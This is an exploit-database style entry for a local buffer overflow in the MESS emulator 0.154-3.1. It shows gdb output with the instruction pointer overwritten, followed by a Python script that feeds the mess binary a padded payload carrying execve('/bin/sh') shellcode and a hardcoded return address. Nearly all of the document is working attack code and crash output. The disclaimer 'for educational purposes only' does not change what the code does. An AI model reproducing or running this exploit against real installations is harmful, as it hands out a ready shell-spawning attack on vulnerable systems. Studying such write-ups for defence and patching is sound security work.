Mess Emulator 0.154-3.1 - Local Buffer Overflow

2016.04.08
Credit: Juan Sacco
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

# Exploit Author: Juan Sacco - http://www.exploitpack.com - jsacco@exploitpack.com # Program affected: Multi Emulator Super System (MESS) # Version: 0.154-3.1 # # Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org # # Program description: MESS is an emulator for various consoles and computing systems, sharing a # lot of codebase with the MAME project. # Kali Linux 2.0 package: pool/non-free/m/mame/mess_0.154-3.1_i386.deb # MD5sum: ae8650a6de842e6792ba83785ac0dbef # Website: http://mamedev.org/ # # gdb$ run -gamma $(python -c 'print "\x41"*4080') # Starting program: /usr/games/mess -gamma $(python -c 'print "\x41"*4080') # [Thread debugging using libthread_db enabled] # Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1". # # Program received signal SIGSEGV, Segmentation fault. # # --------------------------------------------------------------------------[regs] # # EAX: 0x00000000 EBX: 0x72203B22 ECX: 0x00001024 EDX: 0xBFFFE094 o d I t S z a p c # ESI: 0x00001024 EDI: 0xBFFFE095 EBP: 0x00001024 ESP: 0xBFFFD038 EIP: 0x41414141 # CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B # # --------------------------------------------------------------------------[code] # # => 0x9684539: mov esi,DWORD PTR [ebx+0x48] # 0x968453c: lea edi,[ebp+esi*1+0x0] # 0x9684540: push edi # 0x9684541: push ebx # 0x9684542: call 0x96843b0 # 0x9684547: add esp,0x10 # 0x968454a: test al,al # 0x968454c: je 0x96845ad # # -------------------------------------------------------------------------------- # # 0x41414141 in ?? () # # gdb$ backtrace # # #1 0x41414141 in ?? () import os,subprocess def run(): try: print "# Mess Emulator Buffer Overflow by Juan Sacco" print "# This exploit is for educational purposes only" # JUNK + SHELLCODE + NOPS + EIP junk = "\x41"*4084 shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" nops = "\x90"*12 eip = "\xd1\xf3\xff\xbf" subprocess.call(["mess",' ', junk + shellcode + nops + eip]) except OSError as e: if e.errno == os.errno.ENOENT: print "Sorry, Mess emulator not found!" else: print "Error executing exploit" raise def howtousage(): print "Snap! Something went wrong" sys.exit(-1) if __name__ == '__main__': try: print "Exploit Mess 0.154-3.1 Local Overflow Exploit" print "Author: Juan Sacco" except IndexError: howtousage() run()


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